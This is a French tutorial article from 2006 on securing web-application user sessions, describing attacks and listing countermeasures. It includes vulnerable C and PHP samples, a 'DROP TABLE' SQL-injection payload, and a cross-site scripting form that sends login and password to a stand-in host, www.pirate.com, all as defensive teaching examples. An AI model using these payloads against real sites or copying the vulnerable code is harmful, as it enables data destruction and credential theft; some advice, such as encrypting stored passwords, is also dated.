Applications web : sécuriser la session utilisateur

Hugo Etiévant

Cet article présente les risques inhérents à la création d'une session utilisateur dans une application web. Quelques bonnes pratiques de sécurité permettront aux développeurs de mieux employer les sessions. ♪

- Titre : Applications web : sécuriser la session utilisateur

- Auteur : Hugo Etiévant

- Parution : 25 août 2006

- Licence : Copyright ® 2006 Hugo Etiévant (cyberzoide). Aucune reproduction, même partielle, ne peut être faite de ce site et de l'ensemble de son contenu : textes, documents, images, etc. sans l'autorisation expresse de l'auteur. Sinon vous encourez selon la loi jusqu'à trois ans de prison et jusqu'à 300 000 € de dommages et intérêts.

Sommaire

- I. Introduction

- II. Attaques

- II-A. Buffer overflow

- II-B. SQL injection

- II-C. Cookie poisoning

- II-D. Session hijacking

- II-E. Cross-site scripting

- III. Solutions

- III-A. Protocole HTTPS

- III-B. Cookie SSL

- III-C. Durée de session limitée

- III-D. Déconnexion explicite

- III-E. Identifiant de session initié par le serveur

- III-F. Identifiant de session non prédictible

- III-G. Identifiant de session forgé après authentification

- III-H. Champ mot de passe protégé

- III-I. Contrôle des paramètres

- III-J. Gestion correcte des erreurs

- III-K. Pas d'information sur les habilitations en paramètre

- III-L. Pas de stockage en clair des mots de passe

- III-M. Protection des données de session

- III-N. Session liée à un seul utilisateur physique

- IV. Tableau récapitulatif des menaces et parades

- V. Conclusion

I - Introduction

Les applications web utilisant les clients légers que sont les navigateurs web protègent leurs utilisateurs par la création de sessions. Ces sessions sont des espaces de travail dans le temps disposant d'un espace de stockage d'informations. Cet espace de travail est privé et est propre à un utilisateur particulier dûment authentifié.

Ces sessions sont un système de protection efficace, lorsque correctement employées par le développeur de l'application web. Cependant, il est courant de constater des carences dans la sûreté d'emploi des sessions. Ainsi, les sessions peuvent devenir un élément d'insécurité et venir rompre la chaîne de sécurité du système d'information sur lequel repose l'application.

Il convient de respecter certaines bonnes pratiques dans l'usage des sessions.

Cet article va présenter quelques attaques possibles ainsi que les mesures appropriées pour réduire le risque.

Cet article s'adresse principalement aux développeurs web (PHP, J2EE, .NET…).

II - Attaques

II-A - Buffer overflow

Une attaque par buffer overflow (dépassement de capacité mémoire) consiste à envoyer en paramètre (dans l'URL ou en POST d'un formulaire) une donnée dont la longueur excède la taille attendue ou autorisée par le serveur d'application ou l'application en elle-même et remplace la valeur d'autres variables.

Cette attaque peut avoir plusieurs types de conséquences :

- obtention de privilèges supplémentaires ;

- instabilité de l'application ou du serveur ;

- injection de code malveillant.

L'objectif du pirate est alors de mettre en panne le serveur ou l'application, ou plus généralement, d'obtenir des droits d'accès supplémentaires à des fins d'intrusion permettant le vol de données, la destruction du SI où l'attaque d'autres cibles.

Exemple de code C vulnérable à une attaque de type buffer overflow

// fonction vulnérable
void copiedechaine(char *str) {
// buffer de taille limitée à 10 caractères
char buffer[10];
strcpy(buffer, str); // buffer overflow !!!
}
// programme principal
int main() {
// création d'un buffer excédant la limite prévue
char autrebuffer[] = "Cette chaîne est décidément dangereusement trop longue !";
copiedechaine(autrebuffer);
return 1;
}

II-B - SQL injection

L'attaque par SQL injection, ou plus généralement par command injection consiste à injecter du code malveillant, en l'occurrence une requête SQL dans un paramètre. Si ce paramètre est insuffisamment contrôlé par l'application et est utilisé au sein d'une commande système, où d'une requête de base de données, alors cette dernière va voir son comportement modifié : des actions non prévues vont être pilotées à distance par un pirate.

Les conséquences d'une telle attaque peuvent être la corruption de données et la prise d'accès frauduleux sur le serveur.

Exemple de code PHP/MySQL vulnérable à une SQL injection

<?php
mysql_query("SELECT * FROM utilisateurs WHERE login='$login'");
?>

Code SQL injecté

toto'; DROP TABLE utilisateurs; #

Requête SQL exécutée par l'application

SELECT * FROM utilisateurs WHERE login='toto'; DROP TABLE utilisateurs; #'

Cet exemple d'injection supprime la table des utilisateurs dans la base de données. D'autres exemples permettent de forcer la validation d'un contrôle d'accès et de s'approprier les droits d'un utilisateur, d'afficher le contenu d'une base de données…

II-C - Cookie poisoning

Une session est identifiée par un identifiant stocké chez le client sous la forme d'un cookie conservé par le navigateur web. Le serveur va rattacher un internaute à sa session via l'identifiant fourni par le client. Il est donc naturel que les pirates cherchent à pirater les cookies.

II-D - Session hijacking

L'attaque par session hijacking est une spécialisation de cookie poisoning destinée à prendre le contrôle d'une session utilisateur.

Il existe plusieurs types de session hijacking :

- interception ;

- prédiction ;

- force brute ;

- fixation.

L'interception consiste à intercepter un cookie par écoute du réseau entre le serveur et le client. Une sonde réseau permet au pirate d'écouter le trafic et d'intercepter les informations échangées. Le pirate possédant le cookie stockant l'identifiant de session pourra l'installer dans son navigateur et utiliser l'application web sous l'identité de l'utilisateur dont il a volé le cookie et avec ses droits d'accès.

La prédiction est l'art de deviner un identifiant de session valide. Cette attaque concerne les serveurs dont l'algorithme de génération de cet identifiant permet sa prédictibilité. Ainsi, avec un peut d'analyse, en fonction de certaines informations connues (un login courant ou obtenu de façon légitime, la date, et autres informations que l'on peut obtenir facilement…), le pirate peut forger un identifiant rattaché à une session en cours. Cette attaque est d'autant plus facile à réaliser que l'application possède un grand nombre d'utilisateurs.

La force brute permet de trouver un identifiant valide par des tentatives massives en générant un grand nombre d'identifiants et en exploitant sa prédictibilité.

La fixation cherche à imposer un identifiant arbitraire à un utilisateur donné. Pour réaliser cette attaque, le pirate doit créer cette session sur l'application, pousser un utilisateur à se connecter à l'application (souvent par phishing), puis se connecter lui-même à la session lorsque l'utilisateur se sera connecté. Le pirate va typiquement utiliser un outil requêtant l'application régulièrement jusqu'à ce que le formulaire d'authentification disparaisse, trahissant alors le succès de la double attaque par phishing / session hijacking (l'utilisateur cible s'est connecté). Cet outil permet également d'empêcher l'expiration de la session due à une période d'inactivité trop longue.

II-E - Cross-site scripting

Le cross-site scripting requiert que la valeur d'au moins un paramètre de l'URL ou du formulaire soit intégrée au contenu de la page web sans contrôle suffisant. Ainsi il suffit de remplacer cette valeur par du code exécutable pour exécuter une action sur le serveur (Shell…) ou chez le client (JavaScript, ActiveX, Flash…).

Un code suffisamment intelligent peut permettre à un pirate de récupérer des données saisies par un utilisateur. Dans l'exemple qui suit, une banque propose un formulaire d'authentification qui réaffiche le login de l'utilisateur en cas d'échec.

Exemple d'URL

http://www.mabanque.com/login.jsp?login=dupond

Exemple de page web

<html>
<body>
<form action="login.jsp" method="post">
Dupond, recommencez...<br />
Login : <input type="text" name="login" /><br />
Password : <input type="password" name="password" /><br />
<input type="submit" value="Valider" />
</form>
</body>
</html>

Exemple d'URL frauduleuse

http://www.mabanque.com/login.jsp?login=%3Cscript%3Ealert(%60Vous%20êtes%20pirat%E9%20!%60)%3B%3C/script%3E

Exemple de page web attaquée affichant une popup

<html>
<body>
<form action="login.jsp" method="post">
<script>alert('Vous êtes piraté !');</script>, recommencez...<br />
Login : <input type="text" name="login" /><br />
Password : <input type="password" name="password" /><br />
<input type="submit" value="Valider" />
</form>
</body>
</html>

Dans l'exemple suivant, le pirate crée un nouveau formulaire HTML lançant une requête HTTP (méthode GET d'obtention d'une image) vers un serveur qu'il contrôle. Les fichiers de log de son serveur web lui afficheront la requête HTTP vers la ressource demandée de type : http://www.pirate.com/login:password contenant le login et le mot de passe de l'utilisateur. Là encore, la tactique nécessite la collaboration involontaire d'un utilisateur légitime de l'application via une attaque par phishing.
Fort d'un identifiant et d'un mot de passe valides, le pirate peut créer une session sous l'identité d'un utilisateur légitime.

Exemple d'attaque évoluée

<html>
<body>
<form action="login.jsp" method="post">
</form>
<form action="login.jsp" method="post" name="auth" onSubmit="img=new Image();
img.src='http://www.pirate.com/' + auth.login.value + ':' + auth.password.value">
, recommencez...<br />
Login : <input type="text" name="login" /><br />
Password : <input type="password" name="password" /><br />
<input type="submit" value="Valider" />
</form>
</body>
</html>

III - Solutions

Après avoir fait le tour des principales attaques sur la session de l'utilisateur, nous allons nous pencher sur les diverses solutions combinées permettant de réduire les risques d'attaques.

III-A - Protocole HTTPS

L'utilisation du protocole HTTPS au lieu de HTTP permet de se prémunir contre les sondes réseau sniffant le trafic entre client et serveur. En effet le protocole SSL encapsule HTTP afin d'authentifier le client et de chiffrer les données échangées, assurant ainsi la confidentialité des échanges.

Tout espace privé devrait être protégé par HTTPS.

III-B - Cookie SSL

Dans un espace privé accédé en HTTP, les cookies peuvent être échangés en HTTPS afin d'en assurer la confidentialité du contenu. Les navigateurs sont en effet tenus de fournir à l'application web via un canal protégé tout cookie déposé de façon sécurisée.

Les identifiants de session sont donc en sécurité sans toutefois faire crouler le serveur sous les tâches de chiffrement du protocole SSL, fort gourmandes en ressources de calcul.

III-C - Durée de session limitée

Afin de se prémunir contre l'utilisation de la session d'un utilisateur quittant un cybercafé en oubliant fermer le navigateur par une personne malhonnête venant à la suite, il est utile de ne pas donner pour durée de vie à la session la vie de la fenêtre du navigateur.

Fermer d'office la session après une durée d'inactivité de 15 minutes est raisonnable.

III-D - Déconnexion explicite

Fournir à l'utilisateur ou moyen de se déconnecter dès ses tâches terminées permet de réduire l'exploitation de son cookie de session par un pirate ayant écouté le réseau. Ainsi, un bouton où un lien « se déconnecter » permet d'écourter une session.

III-E - Identifiant de session initié par le serveur

Les gestionnaires de session diffèrent dans leur comportement selon le langage et le serveur d'application utilisés par l'application web. Ainsi, certains d'entre eux permettent aux clients de forcer la valeur de l'identifiant de session à utiliser. Ceci autorise le session hijacking par fixation.

Il est donc important que l'identifiant de session soit forgé par le serveur ou l'application pour plus de sécurité.

III-F - Identifiant de session non prédictible

Pour éviter toute attaque par session hijacking de type prédiction, il est nécessaire que le gestionnaire de session utilisé par l'application ait un algorithme générant des identifiants non prédictibles. Les API de génération de nombres pseudoaléatoires sont maintenant suffisamment évolués pour cela.

III-G - Identifiant de session forgé après authentification

Les identifiants de session sont malheureusement généralement générés avant l'authentification. Une sécurité optimale voudrait qu'ils ne soient générés qu'après que l'application se soit assurée de l'identité de l'utilisateur afin d'éviter toute attaque sur la session.

III-H - Champ mot de passe protégé

Le champ de mot de passe du formulaire doit avoir sa valeur non visible pour les personnes environnantes et les systèmes d'espionnage par capture des ondes électromagnétiques émises par l'écran (attaque CEM). Il faut donc utiliser le type d'input password plutôt que text.

Le champ de mot de passe ne devrait pas non plus être préremplissable par le navigateur. Pour cela, les développeurs peuvent utiliser l'attribut autocomplete de valeur off.

III-I - Contrôle des paramètres

Le point le plus important de la sécurité de votre application : le contrôle systématique de tous les paramètres fournis par l'utilisateur et obtenus par l'URL.

Toute valeur doit être contrôlée, expurgée des caractères interdits, et employée avec beaucoup de précautions dans les requêtes, commandes et affichages divers afin d'éviter les attaques par buffer overflow, command injection et cross-site scripting.

III-J - Gestion correcte des erreurs

Autre mesure de précaution : ne pas afficher dans les messages d'erreur le détail des fonctions employées, leurs valeurs et surtout aucune requête de base de données. Un pirate cherchera à provoquer des erreurs afin d'obtenir des messages d'erreurs des informations utiles, comme le schéma de la base de données utilisée afin de préparer des attaques par cross-site scripting.

III-K - Pas d'information sur les habilitations en paramètre

Aucune information sur les droits d'accès de l'utilisateur ne doit être passée en paramètre à l'URL. Car une modification frauduleuse de ces paramètres permettrait à un utilisateur d'augmenter son niveau d'habilitation et de réaliser des opérations normalement interdites, détournant alors sa session.

III-L - Pas de stockage en clair des mots de passe

Les mots de passe où qu'ils soient stockés (fichier, base de données, annuaire…) ne doivent pas apparaître en clair. Un chiffrement asymétrique est nécessaire, car sinon, un accès frauduleux au contenu de l'entrepôt de mots de passe permettrait à un pirate de se connecter avec l'identité d'un autre utilisateur.

La plupart des systèmes proposent cette fonctionnalité (base de données MySQL, annuaire LDAP, fichier /etc/shadow), alors autant l'utiliser.

III-M - Protection des données de session

L'identifiant de session est la seule donnée de session fournie au client. Toutes les autres données stockées dans l'espace de session le sont sur le serveur, dans un dossier spécifique qu'il convient de protéger des accès frauduleux.

Par exemple, PHP stockent les données de session dans un fichier texte dont le nom contient l'identifiant de session et qui est placé dans le répertoire /tmp du système d'exploitation du serveur, accessible en lecture à tous les utilisateurs ayant un compte sur ce serveur. Il convient de changer de dossier ou de le protéger mieux afin qu'aucun utilisateur ne puisse pirater la session d'un autre.

III-N - Session liée à un seul utilisateur physique

Le meilleur moyen de parer à des attaques par session hijacking est d'associer une session non pas seulement à un utilisateur logique, mais aussi à un utilisateur physique identifié par exemple par son adresse IP.

Ainsi, identifiant de session + adresse IP forment un couple logique/physique assurant la sécurité de la session.

IV - Tableau récapitulatif des menaces et parades

Attaques

Parades

buffer overflow

contrôle des paramètres

command injection

contrôle des paramètres, gestion correcte des erreurs

cookie poisoning

cookie SSL

session hijacking

durée de session limitée, déconnexion explicite, identifiant de session forgé après authentification, champ mot de passe protégé, pas d'information sur les habilitations en paramètre, session liée à un seul utilisateur physique

session hijacking - interception

HTTPS, cookie SSL, protection des données de session

session hijacking - prédiction

identifiant de session non prédictible

session hijacking - force brute

identifiant de session non prédictible

session hijacking - fixation

identifiant de session initié par le serveur

cross-site scripting

contrôle des paramètres, gestion correcte des erreurs

V - Conclusion

La sécurité de la session dépend de plusieurs acteurs : l'équipe de développement de l'application web, mais aussi du gestionnaire de session employé ainsi que de l'utilisateur qui doit être mis en garde contre l'usage de son navigateur par d'autres personnes (1) . Des solutions simples permettent d'éviter la plupart des cas possibles de compromission de la session de l'utilisateur.

(1)Voir l'article Traces de navigation et confidentialité : les indiscrétions du navigateur